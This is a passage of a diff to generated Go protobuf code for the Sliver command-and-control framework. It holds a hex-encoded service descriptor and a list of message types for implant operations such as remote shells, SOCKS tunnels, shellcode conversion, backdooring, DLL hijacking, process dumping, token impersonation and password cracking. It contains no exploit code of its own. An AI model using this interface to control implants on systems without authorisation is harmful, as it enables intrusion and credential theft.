0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, + 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, - 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, - 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, - 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, - 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, - 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, - 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, - 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, - 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, - 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, - 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, - 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, - 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, - 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, - 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, - 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, - 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, - 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, - 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, - 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, - 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, - 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, - 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, - 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, - 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, - 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, - 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, - 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, - 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, - 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, - 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, - 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, - 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, - 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, - 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, - 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x33, + 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, + 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, + 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, + 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, + 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, + 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, + 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, + 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, + 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, + 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, + 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, + 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, + 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, + 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, + 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, + 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, + 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, + 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, + 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, + 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, + 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, + 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, + 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, + 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, + 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, + 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, + 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x33, } var file_rpcpb_services_proto_goTypes = []interface{}{ @@ -666,214 +674,217 @@ var file_rpcpb_services_proto_goTypes = []interface{}{ (*sliverpb.KillReq)(nil), // 2: sliverpb.KillReq (*sliverpb.ReconfigureReq)(nil), // 3: sliverpb.ReconfigureReq (*clientpb.RenameReq)(nil), // 4: clientpb.RenameReq - (*clientpb.Beacon)(nil), // 5: clientpb.Beacon - (*clientpb.BeaconTask)(nil), // 6: clientpb.BeaconTask - (*clientpb.KillJobReq)(nil), // 7: clientpb.KillJobReq - (*clientpb.MTLSListenerReq)(nil), // 8: clientpb.MTLSListenerReq - (*clientpb.WGListenerReq)(nil), // 9: clientpb.WGListenerReq - (*clientpb.DNSListenerReq)(nil), // 10: clientpb.DNSListenerReq - (*clientpb.HTTPListenerReq)(nil), // 11: clientpb.HTTPListenerReq - (*clientpb.StagerListenerReq)(nil), // 12: clientpb.StagerListenerReq - (*clientpb.Loot)(nil), // 13: clientpb.Loot - (*clientpb.Credentials)(nil), // 14: clientpb.Credentials - (*clientpb.Credential)(nil), // 15: clientpb.Credential - (*clientpb.Host)(nil), // 16: clientpb.Host - (*clientpb.IOC)(nil), // 17: clientpb.IOC - (*clientpb.GenerateReq)(nil), // 18: clientpb.GenerateReq - (*clientpb.ExternalGenerateReq)(nil), // 19: clientpb.ExternalGenerateReq - (*clientpb.ExternalImplantBinary)(nil), // 20: clientpb.ExternalImplantBinary - (*clientpb.ImplantConfig)(nil), // 21: clientpb.ImplantConfig - (*clientpb.Builder)(nil), // 22: clientpb.Builder - (*clientpb.Event)(nil), // 23: clientpb.Event - (*clientpb.Crackstation)(nil), // 24: clientpb.Crackstation - (*clientpb.CrackBenchmark)(nil), // 25: clientpb.CrackBenchmark - (*clientpb.CrackTask)(nil), // 26: clientpb.CrackTask - (*clientpb.CrackFile)(nil), // 27: clientpb.CrackFile - (*clientpb.CrackFileChunk)(nil), // 28: clientpb.CrackFileChunk - (*clientpb.RegenerateReq)(nil), // 29: clientpb.RegenerateReq - (*clientpb.DeleteReq)(nil), // 30: clientpb.DeleteReq - (*clientpb.ImplantProfile)(nil), // 31: clientpb.ImplantProfile - (*clientpb.MsfStagerReq)(nil), // 32: clientpb.MsfStagerReq - (*clientpb.ShellcodeRDIReq)(nil), // 33: clientpb.ShellcodeRDIReq - (*clientpb.ShellcodeEncodeReq)(nil), // 34: clientpb.ShellcodeEncodeReq - (*clientpb.TrafficEncoder)(nil), // 35: clientpb.TrafficEncoder - (*clientpb.Website)(nil), // 36: clientpb.Website - (*clientpb.WebsiteAddContent)(nil), // 37: clientpb.WebsiteAddContent - (*clientpb.WebsiteRemoveContent)(nil), // 38: clientpb.WebsiteRemoveContent - (*sliverpb.Ping)(nil), // 39: sliverpb.Ping - (*sliverpb.PsReq)(nil), // 40: sliverpb.PsReq - (*sliverpb.TerminateReq)(nil), // 41: sliverpb.TerminateReq - (*sliverpb.IfconfigReq)(nil), // 42: sliverpb.IfconfigReq - (*sliverpb.NetstatReq)(nil), // 43: sliverpb.NetstatReq - (*sliverpb.LsReq)(nil), // 44: sliverpb.LsReq - (*sliverpb.CdReq)(nil), // 45: sliverpb.CdReq - (*sliverpb.PwdReq)(nil), // 46: sliverpb.PwdReq - (*sliverpb.MvReq)(nil), // 47: sliverpb.MvReq - (*sliverpb.CpReq)(nil), // 48: sliverpb.CpReq - (*sliverpb.RmReq)(nil), // 49: sliverpb.RmReq - (*sliverpb.MkdirReq)(nil), // 50: sliverpb.MkdirReq - (*sliverpb.DownloadReq)(nil), // 51: sliverpb.DownloadReq - (*sliverpb.UploadReq)(nil), // 52: sliverpb.UploadReq - (*sliverpb.ChmodReq)(nil), // 53: sliverpb.ChmodReq - (*sliverpb.ChownReq)(nil), // 54: sliverpb.ChownReq - (*sliverpb.ChtimesReq)(nil), // 55: sliverpb.ChtimesReq - (*sliverpb.MemfilesListReq)(nil), // 56: sliverpb.MemfilesListReq - (*sliverpb.MemfilesAddReq)(nil), // 57: sliverpb.MemfilesAddReq - (*sliverpb.MemfilesRmReq)(nil), // 58: sliverpb.MemfilesRmReq - (*sliverpb.ProcessDumpReq)(nil), // 59: sliverpb.ProcessDumpReq - (*sliverpb.RunAsReq)(nil), // 60: sliverpb.RunAsReq - (*sliverpb.ImpersonateReq)(nil), // 61: sliverpb.ImpersonateReq - (*sliverpb.RevToSelfReq)(nil), // 62: sliverpb.RevToSelfReq - (*clientpb.GetSystemReq)(nil), // 63: clientpb.GetSystemReq - (*sliverpb.TaskReq)(nil), // 64: sliverpb.TaskReq - (*clientpb.MSFReq)(nil), // 65: clientpb.MSFReq - (*clientpb.MSFRemoteReq)(nil), // 66: clientpb.MSFRemoteReq - (*sliverpb.ExecuteAssemblyReq)(nil), // 67: sliverpb.ExecuteAssemblyReq - (*clientpb.MigrateReq)(nil), // 68: clientpb.MigrateReq - (*sliverpb.ExecuteReq)(nil), // 69: sliverpb.ExecuteReq - (*sliverpb.ExecuteWindowsReq)(nil), // 70: sliverpb.ExecuteWindowsReq - (*sliverpb.SideloadReq)(nil), // 71: sliverpb.SideloadReq - (*sliverpb.InvokeSpawnDllReq)(nil), // 72: sliverpb.InvokeSpawnDllReq - (*sliverpb.ScreenshotReq)(nil), // 73: sliverpb.ScreenshotReq - (*sliverpb.CurrentTokenOwnerReq)(nil), // 74: sliverpb.CurrentTokenOwnerReq - (*sliverpb.PivotStartListenerReq)(nil), // 75: sliverpb.PivotStartListenerReq - (*sliverpb.PivotStopListenerReq)(nil), // 76: sliverpb.PivotStopListenerReq - (*sliverpb.PivotListenersReq)(nil), // 77: sliverpb.PivotListenersReq - (*sliverpb.StartServiceReq)(nil), // 78: sliverpb.StartServiceReq - (*sliverpb.StopServiceReq)(nil), // 79: sliverpb.StopServiceReq - (*sliverpb.RemoveServiceReq)(nil), // 80: sliverpb.RemoveServiceReq - (*sliverpb.MakeTokenReq)(nil), // 81: sliverpb.MakeTokenReq - (*sliverpb.EnvReq)(nil), // 82: sliverpb.EnvReq - (*sliverpb.SetEnvReq)(nil), // 83: sliverpb.SetEnvReq - (*sliverpb.UnsetEnvReq)(nil), // 84: sliverpb.UnsetEnvReq - (*clientpb.BackdoorReq)(nil), // 85: clientpb.BackdoorReq - (*sliverpb.RegistryReadReq)(nil), // 86: sliverpb.RegistryReadReq - (*sliverpb.RegistryWriteReq)(nil), // 87: sliverpb.RegistryWriteReq - (*sliverpb.RegistryCreateKeyReq)(nil), // 88: sliverpb.RegistryCreateKeyReq - (*sliverpb.RegistryDeleteKeyReq)(nil), // 89: sliverpb.RegistryDeleteKeyReq - (*sliverpb.RegistrySubKeyListReq)(nil), // 90: sliverpb.RegistrySubKeyListReq - (*sliverpb.RegistryListValuesReq)(nil), // 91: sliverpb.RegistryListValuesReq - (*sliverpb.SSHCommandReq)(nil), // 92: sliverpb.SSHCommandReq - (*clientpb.DllHijackReq)(nil), // 93: clientpb.DllHijackReq - (*sliverpb.GetPrivsReq)(nil), // 94: sliverpb.GetPrivsReq - (*sliverpb.RportFwdStartListenerReq)(nil), // 95: sliverpb.RportFwdStartListenerReq - (*sliverpb.RportFwdListenersReq)(nil), // 96: sliverpb.RportFwdListenersReq - (*sliverpb.RportFwdStopListenerReq)(nil), // 97: sliverpb.RportFwdStopListenerReq - (*sliverpb.OpenSession)(nil), // 98: sliverpb.OpenSession - (*sliverpb.CloseSession)(nil), // 99: sliverpb.CloseSession - (*sliverpb.RegisterExtensionReq)(nil), // 100: sliverpb.RegisterExtensionReq - (*sliverpb.CallExtensionReq)(nil), // 101: sliverpb.CallExtensionReq - (*sliverpb.ListExtensionsReq)(nil), // 102: sliverpb.ListExtensionsReq - (*sliverpb.RegisterWasmExtensionReq)(nil), // 103: sliverpb.RegisterWasmExtensionReq - (*sliverpb.ListWasmExtensionsReq)(nil), // 104: sliverpb.ListWasmExtensionsReq - (*sliverpb.ExecWasmExtensionReq)(nil), // 105: sliverpb.ExecWasmExtensionReq - (*sliverpb.WGPortForwardStartReq)(nil), // 106: sliverpb.WGPortForwardStartReq - (*sliverpb.WGPortForwardStopReq)(nil), // 107: sliverpb.WGPortForwardStopReq - (*sliverpb.WGSocksStartReq)(nil), // 108: sliverpb.WGSocksStartReq - (*sliverpb.WGSocksStopReq)(nil), // 109: sliverpb.WGSocksStopReq - (*sliverpb.WGTCPForwardersReq)(nil), // 110: sliverpb.WGTCPForwardersReq - (*sliverpb.WGSocksServersReq)(nil), // 111: sliverpb.WGSocksServersReq - (*sliverpb.ShellReq)(nil), // 112: sliverpb.ShellReq - (*sliverpb.PortfwdReq)(nil), // 113: sliverpb.PortfwdReq - (*sliverpb.Socks)(nil), // 114: sliverpb.Socks - (*sliverpb.SocksData)(nil), // 115: sliverpb.SocksData - (*sliverpb.Tunnel)(nil), // 116: sliverpb.Tunnel - (*sliverpb.TunnelData)(nil), // 117: sliverpb.TunnelData - (*clientpb.Version)(nil), // 118: clientpb.Version - (*sliverpb.Reconfigure)(nil), // 119: sliverpb.Reconfigure - (*clientpb.Sessions)(nil), // 120: clientpb.Sessions - (*clientpb.Beacons)(nil), // 121: clientpb.Beacons - (*clientpb.BeaconTasks)(nil), // 122: clientpb.BeaconTasks - (*commonpb.Response)(nil), // 123: commonpb.Response - (*clientpb.Jobs)(nil), // 124: clientpb.Jobs - (*clientpb.KillJob)(nil), // 125: clientpb.KillJob - (*clientpb.MTLSListener)(nil), // 126: clientpb.MTLSListener - (*clientpb.WGListener)(nil), // 127: clientpb.WGListener - (*clientpb.DNSListener)(nil), // 128: clientpb.DNSListener - (*clientpb.HTTPListener)(nil), // 129: clientpb.HTTPListener - (*clientpb.StagerListener)(nil), // 130: clientpb.StagerListener - (*clientpb.AllLoot)(nil), // 131: clientpb.AllLoot - (*clientpb.AllHosts)(nil), // 132: clientpb.AllHosts - (*clientpb.Generate)(nil), // 133: clientpb.Generate - (*clientpb.ExternalImplantConfig)(nil), // 134: clientpb.ExternalImplantConfig - (*clientpb.Builders)(nil), // 135: clientpb.Builders - (*clientpb.Crackstations)(nil), // 136: clientpb.Crackstations - (*clientpb.CrackFiles)(nil), // 137: clientpb.CrackFiles - (*clientpb.ImplantBuilds)(nil), // 138: clientpb.ImplantBuilds - (*clientpb.Canaries)(nil), // 139: clientpb.Canaries - (*clientpb.WGClientConfig)(nil), // 140: clientpb.WGClientConfig - (*clientpb.UniqueWGIP)(nil), // 141: clientpb.UniqueWGIP - (*clientpb.ImplantProfiles)(nil), // 142: clientpb.ImplantProfiles - (*clientpb.MsfStager)(nil), // 143: clientpb.MsfStager - (*clientpb.ShellcodeRDI)(nil), // 144: clientpb.ShellcodeRDI - (*clientpb.Compiler)(nil), // 145: clientpb.Compiler - 